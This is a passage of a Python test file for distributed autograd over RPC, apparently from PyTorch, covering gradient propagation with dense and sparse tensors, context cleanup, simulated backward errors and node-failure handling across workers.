@dist_init def test_no_graph_with_tensors_not_require_grad_remote_sparse(self): self._test_no_graph_with_tensors_not_require_grad(ExecMode.REMOTE, True) @dist_init def test_rpc_complex_args_sparse(self): self._test_rpc_complex_args(ExecMode.RPC_SYNC, True) @dist_init def test_remote_complex_args_sparse(self): self._test_rpc_complex_args(ExecMode.REMOTE, True) @dist_init def test_context_cleanup_tensor_with_grad_sparse(self): t1 = build_sparse_tensor(requires_grad=True) t2 = build_sparse_tensor(requires_grad=True) self.context_cleanup_test_helper(rpc_args=(t1, t2), func=torch.add) @dist_init def test_context_cleanup_tensor_no_grad_sparse(self): t1 = build_sparse_tensor(requires_grad=False) self.context_cleanup_test_helper(rpc_args=(t1, t1), func=torch.add) @dist_init def test_context_cleanup_nested_rpc_sparse(self): t1 = build_sparse_tensor(requires_grad=True) t2 = build_sparse_tensor(requires_grad=True) dst_rank = (self.rank + 1) % self.world_size args = (t1, t2, dst_rank, self.world_size, 0) self.context_cleanup_test_helper( rpc_args=args, func=my_py_nested_call, nested=True ) @dist_init def test_backward_no_grad_on_tensor_sparse(self): self._backward_no_grad_on_tensor( build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), True ) @dist_init def test_backward_simple_sparse(self): self._backward_simple( self._next_rank(), build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), None, True ) @dist_init def test_backward_simple_self_sparse(self): self._backward_simple( self.rank, build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), None, True ) @dist_init def test_backward_rref_multi_sparse(self): if self.rank > 0: callee = "worker0" rref_owner = callee self._backward_rref( callee, rref_owner, build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), None, True ) @dist_init def test_backward_rref_sparse(self): callee = worker_name(self._next_rank()) rref_owner = callee self._backward_rref( callee, rref_owner, build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), None, True ) @dist_init def test_backward_rref_nested_sparse(self): callee = worker_name((self.rank + 1) % self.world_size) rref_owner = worker_name((self.rank + 2) % self.world_size) self._backward_rref( callee, rref_owner, build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), None, True ) @dist_init def test_trainer_ps_sparse(self): self._test_trainer_ps( build_sparse_tensor, _run_trainer, True ) @dist_init def test_backward_multiple_round_trips_sparse(self): self._backward_multiple_round_trips( build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=False), build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=False), build_sparse_tensor(requires_grad=True), None, True ) @dist_init def test_backward_different_dtypes_sparse(self): self._backward_different_dtypes( build_sparse_tensor(requires_grad=True, dtype=torch.float32), build_sparse_tensor(requires_grad=True, dtype=torch.float64), True ) @dist_init def test_backward_simple_python_udf_sparse(self): self._backward_simple_python_udf( build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), True ) @dist_init def test_backward_simple_script_call_sparse(self): self._backward_simple_script_call( build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), True ) @dist_init def test_nested_backward_accumulate_grads_sparse(self): self._nested_backward_accumulate_grads( build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), True ) @dist_init def test_backwards_nested_python_udf_sparse(self): # Run equivalent of _nested_python_udf locally. self._backwards_nested_python_udf( build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), True ) @dist_init def test_mixed_requires_grad_sparse(self): self._mixed_requires_grad( build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=False), True ) @dist_init def test_multiple_backward_sparse(self): self._multiple_backward( build_sparse_tensor(requires_grad=True), build_sparse_tensor(requires_grad=True), True ) @dist_init def test_embedding_bag_with_no_grad_tensors(self): dst = self._next_rank() remote_embedding = rpc.remote( worker_name(dst), torch.nn.EmbeddingBag, args=(16, 16), kwargs={"mode": "sum", "sparse": True}, ) local_embedding = torch.nn.EmbeddingBag(16, 16, mode="sum", sparse=True) input = torch.LongTensor([1, 2, 4, 5, 4, 3, 2, 9]) # requires_grad = True to record send/recv functions per_sample_weights = torch.rand((8), requires_grad=True) offsets = torch.LongTensor([0, 4]) local_res = local_embedding(input, offsets, per_sample_weights) # Run backward twice. torch.autograd.backward([local_res.sum()], retain_graph=True) torch.autograd.backward([local_res.sum()]) local_grad = local_embedding.weight.grad with dist_autograd.context() as context_id: res = rpc.rpc_sync( worker_name(dst), DistAutogradTest._call_remote_embedding, args=(remote_embedding, input, offsets, per_sample_weights), ) # Run backward twice to test accumulation of sparse gradients. dist_autograd.backward(context_id, [res.sum()], retain_graph=True) dist_autograd.backward(context_id, [res.sum()]) remote_grad = rpc.rpc_sync( worker_name(dst), DistAutogradTest._get_grad, args=(remote_embedding, context_id), ) self.assertEqual(local_grad, remote_grad) class DistAutogradTest(CommonDistAutogradTest): @dist_init def test_autograd_context(self): # Verify max possible id. max_auto_increment = 281474976710655 self.assertEqual( max_auto_increment + (self.worker_id << 48), dist_autograd._get_max_id() ) context_ids = [] for i in range(200): with dist_autograd.context() as context_id: self.assertEqual( context_id, dist_autograd._retrieve_context(context_id)._context_id(), ) # First 16 bits should be worker_id. self.assertEqual(self.worker_id, context_id >> 48) context_ids.append(context_id) for context_id in context_ids: with self.assertRaisesRegex( RuntimeError, "Could not find autograd context with id: {}".format(context_id), ): dist_autograd._retrieve_context(context_id) @dist_init def test_nested_context(self): with dist_autograd.context() as context_id: # Nested contexts not supported. with self.assertRaisesRegex( RuntimeError, "Already have an autograd context id for this thread" ): with dist_autograd.context() as context_id: pass @dist_init def test_graph_for_builtin_call(self): self._test_graph(torch.add, ExecMode.RPC_SYNC, False) @dist_init def test_graph_for_python_call(self): self._test_graph(my_py_add, ExecMode.RPC_SYNC, False) @dist_init def test_graph_for_builtin_remote_call(self): self._test_graph(torch.add, ExecMode.REMOTE, False) @dist_init def test_graph_for_python_remote_call(self): self._test_graph(my_py_add, ExecMode.REMOTE, False) @dist_init def test_graph_for_py_nested_call(self): self._test_graph_for_py_nested_call(ExecMode.RPC_SYNC, False) @dist_init def test_graph_for_py_nested_remote_call(self): self._test_graph_for_py_nested_call(ExecMode.REMOTE, False) @dist_init def test_graph_for_py_nested_call_itself(self): self._test_graph_for_py_nested_call_itself(ExecMode.RPC_SYNC, False) @dist_init def test_graph_for_py_nested_remote_call_itself(self): self._test_graph_for_py_nested_call_itself(ExecMode.REMOTE, False) @dist_init def test_no_graph_with_tensors_not_require_grad(self): self._test_no_graph_with_tensors_not_require_grad(ExecMode.RPC_SYNC, False) @dist_init def test_no_graph_with_tensors_not_require_grad_remote(self): self._test_no_graph_with_tensors_not_require_grad(ExecMode.REMOTE, False) def _test_grad_only_on_return_value(self, exec_mode): initialize_pg(self.file_init_method, self.rank, self.world_size) dst_rank = (self.rank + 1) % self.world_size with dist_autograd.context() as context_id: if ExecMode.RPC_SYNC == exec_mode: ret = rpc.rpc_sync(worker_name(dst_rank), ret_requires_grad) elif ExecMode.REMOTE == exec_mode: ret = rpc.remote( worker_name(dst_rank), ret_requires_grad ).to_here() else: raise ValueError("Unrecognized ExecMode {}".format(exec_mode)) dist_autograd.backward(context_id, [ret.sum()]) rpc.rpc_sync( worker_name(dst_rank), _set_rpc_done, args=(context_id, 1) ) # Wait for the prev rank to be done with rpc. self._check_rpc_done(1) grads = dist_autograd.get_gradients(ctx_ids[1]) self.assertEqual(1, len(grads)) self.assertIn(requires_grad_tensor, grads) self.assertEqual(torch.ones_like(ret), grads[requires_grad_tensor]) # due to the above get_gradients call, ensure that dist autograd # contexts aren't cleaned up until all workers exit context managers dist.barrier() @dist_init def test_grad_only_on_return_value(self): self._test_grad_only_on_return_value(ExecMode.RPC_SYNC) @dist_init def test_grad_only_on_return_value_remote(self): self._test_grad_only_on_return_value(ExecMode.REMOTE) @dist_init def test_rpc_complex_args(self): self._test_rpc_complex_args(ExecMode.RPC_SYNC, False) @dist_init def test_remote_complex_args(self): self._test_rpc_complex_args(ExecMode.REMOTE, False) @dist_init def test_context_cleanup_tensor_with_grad(self): t1 = torch.ones(3, 3, requires_grad=True) t2 = torch.zeros(3, 3, requires_grad=True) self.context_cleanup_test_helper(rpc_args=(t1, t2), func=torch.add) @dist_init def test_context_cleanup_tensor_no_grad(self): t1 = torch.ones(3, 3, requires_grad=False) self.context_cleanup_test_helper(rpc_args=(t1, t1), func=torch.add) @dist_init def test_context_cleanup_no_tensors(self): self.context_cleanup_test_helper(rpc_args=(1, 1), func=my_scalar_add) @dist_init def test_context_cleanup_nested_rpc(self): t1 = torch.ones(3, 3, requires_grad=True) t2 = torch.zeros(3, 3, requires_grad=True) dst_rank = (self.rank + 1) % self.world_size args = (t1, t2, dst_rank, self.world_size, 0) self.context_cleanup_test_helper( rpc_args=args, func=my_py_nested_call, nested=True ) @dist_init def test_worker_ids_recorded(self): dst_ranks = {rank for rank in range(self.world_size) if rank != self.rank} with dist_autograd.context() as context_id: # if no tensors require grad, we should still record worker_ids, as # the autograd context ID is still passed to other workers. t1 = torch.ones(3, 3, requires_grad=False) t2 = torch.zeros(3, 3, requires_grad=False) for dst_rank in dst_ranks: rpc.rpc_sync(worker_name(dst_rank), torch.add, args=(t1, t2)) rpc.rpc_sync( worker_name(dst_rank), _set_rpc_done, args=(context_id, 1) ) # all worker_ids in dst_ranks should be recorded. ctx = dist_autograd._current_context() worker_ids = ctx._known_worker_ids() self.assertEqual(worker_ids, dst_ranks) # worker_ids should be recorded when tensors do require grad t1.requires_grad = True t2.requires_grad = True for dst_rank in dst_ranks: ret = rpc.rpc_sync( worker_name(dst_rank), torch.add, args=(t1, t2) ) rpc.rpc_sync( worker_name(dst_rank), _set_rpc_done, args=(context_id, 1) ) # all worker_ids in dst_ranks should be recorded. worker_ids = ctx._known_worker_ids() self.assertEqual(worker_ids, dst_ranks) @dist_init def test_dist_autograd_profiling(self): with dist_autograd.context() as context_id: t1 = torch.rand(3, 3, requires_grad=True) t2 = torch.rand(3, 3, requires_grad=True) loss = rpc.rpc_sync(worker_name(self._next_rank()), torch.add, args=(t1, t2)).sum() with torch.autograd.profiler.profile() as p: dist_autograd.backward(context_id, [loss]) function_events = p.function_events def get_event(partial_key): return [event for event in function_events if partial_key in event.name][0] send_event = get_event("SendRpcBackward") recv_event = get_event("RecvRpcBackward") backward_event = get_event("torch::distributed::autograd::backward") # There should be at least 1 send and recv_events each, corresponding to send/recv functions executed. self.assertEqual(send_event.count, 1) self.assertEqual(recv_event.count, 1) # The CPU total for backward event should be great than send and recv, since # applying those functions in the backwards pass is a subset of the entire backward pass. self.assertGreater(backward_event.cpu_time_total, send_event.cpu_time_total) self.assertGreater(backward_event.cpu_time_total, recv_event.cpu_time_total) @dist_init def test_error_in_context(self): with dist_autograd.context() as context_id: t1 = torch.rand(3, 3, requires_grad=True) t2 = torch.rand(6, 6, requires_grad=True) with self.assertRaises(RuntimeError): # This should throw an error since matrix sizes don't match. rpc.rpc_sync( worker_name(self._next_rank()), torch.matmul, args=(t1, t2) ) @dist_init def test_backward_no_grad_on_tensor(self): self._backward_no_grad_on_tensor( torch.rand((3, 3), requires_grad=True), torch.rand((3, 3), requires_grad=True), False ) @dist_init def test_backward_simple(self): self._backward_simple( self._next_rank(), torch.rand((3, 3), requires_grad=True), torch.rand((3, 3), requires_grad=True), None, False ) @dist_init def test_backward_simple_self(self): self._backward_simple( self.rank, torch.rand((3, 3), requires_grad=True), torch.rand((3, 3), requires_grad=True), None, False ) @dist_init def test_backward_rref(self): callee = worker_name(self._next_rank()) rref_owner = callee self._backward_rref( callee, rref_owner, torch.rand((3, 3), requires_grad=True), torch.rand((3, 3), requires_grad=True), None, False ) @dist_init def test_backward_rref_multi(self): if self.rank > 0: callee = "worker0" rref_owner = callee self._backward_rref( callee, rref_owner, torch.rand((3, 3), requires_grad=True), torch.rand((3, 3), requires_grad=True), None, False ) @dist_init def test_backward_rref_nested(self): callee = worker_name((self.rank + 1) % self.world_size) rref_owner = worker_name((self.rank + 2) % self.world_size) self._backward_rref( callee, rref_owner, torch.rand((3, 3), requires_grad=True), torch.rand((3, 3), requires_grad=True), None, False ) @dist_init def test_trainer_ps(self): self._test_trainer_ps( create_tensor, _run_trainer, False ) @dist_init def test_trainer_ps_torchscript_functions(self): # TODO, need more investigation # there is rref leak when shutting down, suspect it is because # ref as arg is passed to pybind boundary, and the ref is not garbage # collected by python when calling shutdown() import torch.distributed.rpc.api as api api._ignore_rref_leak = True self._test_trainer_ps(create_torchscript_tensor, _run_trainer_torchscript, False) @dist_init def test_backward_multiple_round_trips(self): self._backward_multiple_round_trips( torch.rand((3, 3), requires_grad=True), torch.rand((3, 3)), torch.rand((3, 3), requires_grad=True), torch.rand((3, 3)), torch.rand((3, 3), requires_grad=True), None, False ) @dist_init def test_backward_different_tensor_dims(self): local_grads = None t1 = torch.rand((4, 6), requires_grad=True) t2 = torch.rand((6, 5)) t3 = torch.rand((5, 7), requires_grad=True) t4 = torch.rand((7, 9)) for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC, ExecMode.REMOTE]: with dist_autograd.context() as context_id: val = self._exec_func(exec_mode, torch.matmul, t1, t2) val = self._exec_func(exec_mode, torch.linalg.multi_dot, (val, t3, t4)) loss = val.sum() ret = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2, t2, t3, t4 ) local_grads = ret if ret else local_grads @dist_init def test_backward_unused_tensors(self): local_grads = None t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) t3 = torch.rand((3, 3), requires_grad=True) for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC, ExecMode.REMOTE]: with dist_autograd.context() as context_id: s = self._exec_func(exec_mode, torch.stack, (t1, t2, t3)) val = self._exec_func( exec_mode, torch.matmul, torch.narrow(s, 0, 0, 1), torch.narrow(s, 0, 2, 1), ) loss = val.sum() ret = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2, t3 ) local_grads = ret if ret else local_grads @dist_init def test_backward_multiple_output_tensors(self): local_grads = None t = torch.rand((10, 2), requires_grad=True) for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC, ExecMode.REMOTE]: with dist_autograd.context() as context_id: tensor_list = self._exec_func(exec_mode, torch.split, t, 2) t1 = tensor_list[0] t2 = tensor_list[2] t3 = tensor_list[4] val = self._exec_func(exec_mode, torch.linalg.multi_dot, (t1, t2, t3)) loss = val.sum() ret = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t ) local_grads = ret if ret else local_grads def _run_test_backward_unused_send_function_in_thread(self): with dist_autograd.context() as context_id: t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) # We don't use the result of an RPC function, as a result the # backward pass would hang in the "FAST" mode. res = rpc.rpc_sync( worker_name(self._next_rank()), torch.add, args=(t1, t2) ) val = torch.mul(t1, t2) # Run backward, this would hang forever. dist_autograd.backward(context_id, [val.sum()]) @dist_init def test_backward_unused_send_function(self): # Run the test in a thread which would never finish. t = threading.Thread( target=self._run_test_backward_unused_send_function_in_thread ) t.daemon = True t.start() t.join(10) # Wait for 10s. # Verify thread is still alive (indicating backward hasn't completed yet). self.assertTrue(t.is_alive()) @dist_init def test_backward_autograd_engine_error(self): with dist_autograd.context() as context_id: t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) # Perform some ops before error simulation. tmp = (t1 + t2) * (t1 + t2) t3 = SimulateBackwardError.apply(tmp) # Run multiple round trips across different nodes and verify the # original node receives an error thrown on a node deep in the chain. val = rpc.rpc_sync( worker_name(self._next_rank()), torch.add, args=(t2, t3) ) val = rpc.rpc_sync( worker_name(self._next_rank()), torch.mul, args=(val, t2) ) val = rpc.rpc_sync( worker_name(self._next_rank()), torch.matmul, args=(val, t2) ) val = rpc.rpc_sync( worker_name(self._next_rank()), torch.div, args=(val, t2) ) with self.assertRaisesRegex( RuntimeError, "Error on Node [0-9]+: Simulate error on backward pass" ): # Run backwards, and validate we receive an error. dist_autograd.backward(context_id, [val.sum()]) @dist_init(clean_shutdown=False) @sandcastle_skip_if( IS_MACOS, "Test is flaky on MacOS since libuv error handling is not as robust as TCP", ) def test_backward_node_failure(self): rpc._set_rpc_timeout(5) # 5 seconds initialize_pg(self.file_init_method, self.rank, self.world_size) with dist_autograd.context() as context_id: t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) res = rpc.rpc_sync( worker_name(self._next_rank()), torch.add, args=(t1, t2) ) # Wait for all RPCs to be done. dist.barrier() # Kill all odd rank nodes. if self.rank % 2 == 0: shutdown_error_regex = self.get_shutdown_error_regex() # Wait for all other nodes to die. for rank in range(self.world_size): if rank % 2 != 0: wait_until_node_failure(rank, shutdown_error_regex) # Shutdown sequence is not very well defined and as a result # we might see any error given by get_shutdown_error_regex() with self.assertRaisesRegex(RuntimeError, shutdown_error_regex): # Run backwards, and validate we receive an error since all # other nodes are dead. dist_autograd.backward(context_id, [res.sum()]) else: # Exit all other nodes. pass @dist_init def test_backward_without_context(self): t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) context_id = 100 # dummy context_id with self.assertRaisesRegex( RuntimeError, "Could not find autograd context with id: {}".format(context_id), ): res = rpc.rpc_sync( worker_name(self._next_rank()), torch.add, args=(t1, t2) ) dist_autograd.backward(context_id, [res.sum()]) @dist_init def test_backward_without_rpc(self): dst_rank = self.rank with dist_autograd.context() as context_id: t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) t3 = torch.add(t1, t2) dist_autograd.backward(context_id, [t3.sum()]) grads = dist_autograd.get_gradients(context_id) self.assertEqual(2, len(grads)) self.assertIn(t1, grads) self.assertIn(t2, grads) self.assertEqual(torch.ones(3, 3), grads[t1]) self.assertEqual(torch.ones(3, 3), grads[t2]) @dist_init def test_backward_invalid_args(self): with dist_autograd.context() as context_id: with self.assertRaisesRegex(TypeError, "incompatible function arguments"): dist_autograd.backward(context_id, None) with self.assertRaisesRegex(TypeError, "incompatible function arguments"): dist_autograd.backward(None, None) with self.assertRaisesRegex( RuntimeError, "No tensors provided for gradient computation" ): dist_autograd.backward(context_id, []) with self.assertRaisesRegex(RuntimeError, "requires_grad not set on"): t = torch.rand(3, 3) dist_autograd.backward(context_id, [t]) with self.assertRaisesRegex( RuntimeError, "is not a scalar, all roots need to be scalar" ): t = torch.rand(3, 3, requires_grad=True) dist_autograd.backward(context_id, [t]) with self.assertRaisesRegex( RuntimeError, "does not have a valid gradient function" ): t = torch.rand(1, requires_grad=True) dist_autograd.backward(context_id, [t]) @dist_init def test_backward_multiple_roots(self): local_grads = None t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) for exec_mode in [ExecMode.LOCAL, ExecMode.RPC_SYNC]: with dist_autograd.context() as context_id: r1 = self._exec_func(exec_mode, torch.add, t1, t2).sum() r2 = self._exec_func(exec_mode, torch.mul, t1, t2).sum() r3 = self._exec_func(exec_mode, torch.cos, t1).sum() r4 = self._exec_func(exec_mode, torch.div, t1, t2).sum() local_grads = self._verify_backwards( exec_mode, [r1, r2, r3, r4], context_id, local_grads, t1, t2 ) @dist_init def test_backward_different_dtypes(self): self._backward_different_dtypes( torch.rand((3, 3), requires_grad=True, dtype=torch.float32), torch.rand((3, 3), requires_grad=True, dtype=torch.float64), False ) @dist_init def test_backward_simple_python_udf(self): self._backward_simple_python_udf( torch.rand(3, 3, requires_grad=True), torch.rand(3, 3, requires_grad=True), False ) @dist_init def test_backward_simple_script_call(self): self._backward_simple_script_call( torch.rand(3, 3, requires_grad=True), torch.rand(3, 3, requires_grad=True), False ) @staticmethod def _complex_python_udf(t1, t2): t3 = torch.nn.functional.linear(t1, t2) t4 = torch.nn.functional.linear(t2, t3) t5 = torch.nn.functional.linear(t3, t4) return torch.linalg.multi_dot([t1, t2, t3, t4, t5]) @dist_init def test_backward_complex_python_udf(self): # Run the same code locally and with dist autograd and verify gradients # are same. local_grads = None t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) for exec_mode in [ExecMode.LOCAL, ExecMode.REMOTE]: with dist_autograd.context() as context_id: ret = self._exec_func( exec_mode, DistAutogradTest._complex_python_udf, t1, t2 ) loss = ret.sum() local_grads = self._verify_backwards( exec_mode, [loss], context_id, local_grads, t1, t2 ) @staticmethod def _python_udf_with_backward_error(t1, t2): t3 = t1 + t2 t4 = SimulateBackwardError.apply(t3) return torch.linalg.multi_dot([t1, t2, t3, t4]) @staticmethod def _nested_rpc_call_backward_error(t1, t2, dst): t1 = t1 * t2 t2 = t1 + t2 res = rpc.rpc_sync( worker_name(dst), DistAutogradTest._python_udf_with_backward_error, args=(t1, t2), ) return torch.linalg.multi_dot([t1, t2, res]) @dist_init def test_backward_python_udf_error(self): t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) with dist_autograd.context() as context_id: loss = rpc.rpc_sync( worker_name(self._next_rank()), DistAutogradTest._nested_rpc_call_backward_error, args=(t1, t2, self._next_rank()), ) with self.assertRaisesRegex( RuntimeError, "Simulate error on backward pass" ): dist_autograd.backward(context_id, [loss.sum()]) _backward_done = False @dist_init(clean_shutdown=False) @sandcastle_skip_if( IS_MACOS, "Test is flaky on MacOS since libuv error handling is not as robust as TCP", ) def test_backward_node_failure_python_udf(self): # Set a short timeout to quickly time out failed RPCs. rpc._set_rpc_timeout(5) # 5 seconds initialize_pg(self.file_init_method, self.rank, self.world_size) with dist_autograd.context() as context_id: t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) dst = self._next_rank() res = rpc.rpc_sync( worker_name(dst), my_py_nested_call, args=(t1, t2, dst, self.world_size, 1), ) dist.barrier() # Kill rank 2 (last hop of nested rpc) and verify rank 0 receives an error. if self.rank == 2: return store = dist.distributed_c10d._get_default_store() if self.rank == 0: # Wait for rank 2 to die. shutdown_error_regex = self.get_shutdown_error_regex() wait_until_node_failure(2, shutdown_error_regex) # Shutdown sequence is not very well defined and as a result # we might see any error given by get_shutdown_error_regex(). with self.assertRaisesRegex(RuntimeError, shutdown_error_regex): # Run backwards, and validate we receive an error since rank 2 is dead. dist_autograd.backward(context_id, [res.sum()]) # Mark rank 0 is done in the store, since the RPC framework on # some nodes might be broken at this point. store.set('test_backward_node_failure_python_udf_rank0_done', "True") else: # Wait for backward to finish on rank 0. store.wait(['test_backward_node_failure_python_udf_rank0_done'], timedelta(seconds=10)) @staticmethod def _nested_python_udf(t1, t2, dst): t3 = t1 * t2 t4 = t1 + t2 res = rpc.rpc_sync(worker_name(dst), my_py_add, args=(t3, t4)) return t1 * t2 * t3 * t4 * res @dist_init def test_backwards_nested_python_udf(self): # Run equivalent of _nested_python_udf locally. self._backwards_nested_python_udf( torch.rand(3, 3, requires_grad=True), torch.rand(3, 3, requires_grad=True), False ) _test_clean_context_backward_context_id = None class MyBackwardFunc(Function): @staticmethod def forward(ctx, input): return input @staticmethod @once_differentiable def backward(ctx, input): assert DistAutogradTest._test_clean_context_backward_context_id is not None # Release the context to simulate error (use barrier before releasing # context to ensure all nodes execute the backward function). dist.barrier() dist_autograd._release_context( DistAutogradTest._test_clean_context_backward_context_id ) # Verify all contexts are cleaned up. assert _all_contexts_cleaned_up() return input @dist_init def test_clean_context_during_backward(self): """ This test simulates the situation where the 'backward' call might throw an exception locally which would lead to the autograd context being cleaned up if we're using the context manager. As a result, the autograd context might be cleaned up while some threads are still using the autograd context. It is fine for the 'backward' call to throw an exception in this test, but the process should not crash. """ initialize_pg(self.file_init_method, self.rank, self.world_size) context = dist_autograd._new_context() context_id = context._context_id() DistAutogradTest._test_clean_context_backward_context_id = context_id # Send the context id to all nodes. for i in range(0, self.world_size): if i != self.rank: rank_distance = (i - self.rank + self.world_size) % self.world_size rpc.rpc_sync( worker_name(i), _set_rpc_done, args=(context_id, rank_distance), ) dist.barrier() # Verify all context ids have been received. self.assertEqual(self.world_size - 1, len(known_context_ids)) t1 = torch.rand((3, 3), requires_grad=True) for i in range(0, 100): dst = self._next_rank() t1 = rpc.rpc_sync(worker_name(dst), torch.add, args=(t1, t1)) # Call MyBackwardFunc as the first op of the backward pass to # ensure we release the context early in the backward pass. t1 = DistAutogradTest.MyBackwardFunc.apply(t1) self.assertEqual(100, len(context._send_functions())) context_id = 100 # dummy context_id with self.assertRaisesRegex( RuntimeError, "Could not find autograd context with id: {}".format(context_id), ): dist_autograd.backward(context_id, [t1.sum()]) # HACK: Killing workers since otherwise the autograd engine gets stuck on # other nodes. The proper fix would be addressing: # https://github.com/pytorch/pytorch/issues/27643, which would inform # other nodes about the failure. # The autograd engine gets stuck on other nodes since they're waiting to # receive gradients from the node that received an error (and as a # result it didn't execute the rest of the graph). dist.barrier() rpc.shutdown(graceful=False) sys.exit(0) @classmethod def _call_remote_embedding(cls, embedding_rref, input, offsets, per_sample_weights): embedding = embedding_rref.local_value() return embedding(input, offsets, per_sample_weights) @classmethod def _get_grad(cls, embedding_rref, context_id): embedding = embedding_rref.local_value() grad_map = dist_autograd.get_gradients(context_id) return grad_map[embedding.weight] @classmethod def _mixed_requires_grad_operaton(cls, t1, t2): if t2.requires_grad: return t1 - t2 else: return t1 * t2 @dist_init def test_mixed_requires_grad(self): self._mixed_requires_grad( torch.rand(3, 3, requires_grad=True), torch.rand(3, 3, requires_grad=False), False ) class TestDebugInfoFunc(Function): @staticmethod def forward(ctx, input): return input @staticmethod @once_differentiable def backward(ctx, input): debug_info = dist_autograd._get_debug_info() assert debug_info is not None backward_passes = int(debug_info["num_current_backward_passes"]) # Hard to validate exact numbers because of the distributed nature. # We can't use a barrier() here since that would block the single # CPU thread available for autograd and can cause deadlocks. assert backward_passes >= 1 and backward_passes <= 4 return input @dist_init def test_debug_info(self): initialize_pg(self.file_init_method, self.rank, self.world_size) t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) with dist_autograd.context() as context_id: i = 0 res = {} res[i] = t1 for rank in range(self.world_size): if rank != self.rank: res[i + 1] = rpc.rpc_sync( worker_name(rank), torch.add, args=(res[i], t2) ) i += 1 # Call custom function in middle of backward pass to ensure all # nodes are still waiting on a backward(). res[i + 1] = DistAutogradTest.TestDebugInfoFunc.apply(res[i]) i += 1 for rank in range(self.world_size): if rank != self.rank: res[i + 1] = rpc.rpc_sync( worker_name(rank), torch.add, args=(res[i], t2) ) i += 1 dist_autograd.backward(context_id, [res[i].sum()]) debug_info = dist_autograd._get_debug_info() num_autograd_context = int(debug_info["num_autograd_contexts"]) # Need atleast one context and not more than 4. self.assertTrue(num_autograd_context >= 1 and num_autograd_context <= 4) for rd in range(self.world_size - 1): rpc.rpc_sync( worker_name((self.rank + rd + 1) % self.world_size), _set_rpc_done, args=(context_id, rd + 1), ) dist.barrier() # Validate information debug_info = dist_autograd._get_debug_info() assert debug_info is not None self.assertEqual(0, int(debug_info["num_current_backward_passes"])) # only have `num_current_backward_passes` and `num_autograd contexts` self.assertTrue(len(debug_info) == 2) self.assertTrue(_all_contexts_cleaned_up()) # All contexts should be cleaned up. debug_info = dist_autograd._get_debug_info() self.assertEqual(0, int(debug_info["num_autograd_contexts"])) @staticmethod def _workload_thread(): t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) with dist_autograd.context() as context_id: t3 = rpc.rpc_sync("worker0", torch.add, args=(t1, t2)) t4 = rpc.rpc_sync("worker0", torch.mul, args=(t2, t3)) t5 = rpc.rpc_sync("worker0", torch.matmul, args=(t3, t4)) t6 = rpc.rpc_sync("worker0", torch.add, args=(t4, t5)) dist_autograd.backward(context_id, [t6.sum()]) @dist_init def test_async_dist_autograd(self): """ This test ensures async processing for distributed autograd works appropriately. This is achieved by spawning multiple threads and hammering a single node with a lot of backward() calls. """ initialize_pg(self.file_init_method, self.rank, self.world_size) if self.rank != 0: # All other ranks schedule work on rank 0. threads = [] for i in range(20): t = threading.Thread(target=DistAutogradTest._workload_thread) t.start() threads.append(t) for thread in threads: thread.join() dist.barrier() @dist_init def test_backward_accumulate_grads(self): t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) with dist_autograd.context() as context_id: t3 = torch.matmul(t1, t2) # Run backward twice. torch.autograd.backward([t3.sum()], retain_graph=True) torch.autograd.backward([t3.sum()]) t3 = rpc.rpc_sync( worker_name(self._next_rank()), torch.matmul, args=(t1, t2) ) # Run backward twice. dist_autograd.backward(context_id, [t3.sum()], retain_graph=True) dist_autograd.backward(context_id, [t3.sum()]) # Verify the gradients are same for local and remote execution. grads = dist_autograd.get_gradients(context_id) self.assertEqual(2, len(grads)) self.assertIn(t1, grads) self.assertIn(t2, grads) self.assertEqual(t1.grad, grads[t1]) self.assertEqual(t2.grad, grads[t2]) @staticmethod def _test_nested_backward_accumulate_grads(t1, t2, dst_rank): return rpc.rpc_sync(worker_name(dst_rank), torch.add, args=(t1, t2)) @dist_init def test_nested_backward_accumulate_grads(self): self._nested_backward_accumulate_grads( torch.rand(3, 3, requires_grad=True), torch.rand(3, 3, requires_grad=True), False ) @dist_init def test_multiple_backward(self): self._multiple_backward( torch.rand(3, 3, requires_grad=True), torch.rand(3, 3, requires_grad=True), False ) @dist_init(clean_shutdown=False) def test_multiple_backward_with_errors(self): initialize_pg(self.file_init_method, self.rank, self.world_size) t1 = torch.rand((3, 3), requires_grad=True) t2 = torch.rand((3, 3), requires_grad=True) with dist_autograd.context() as context_id: loss = rpc.rpc_sync( 'worker{}'.format(self._next_rank()), DistAutogradTest._python_udf_with_backward_error, args=(t1, t2)).sum() try: # Run backward in a loop multiple times. for i in range(100): if i < 50: with 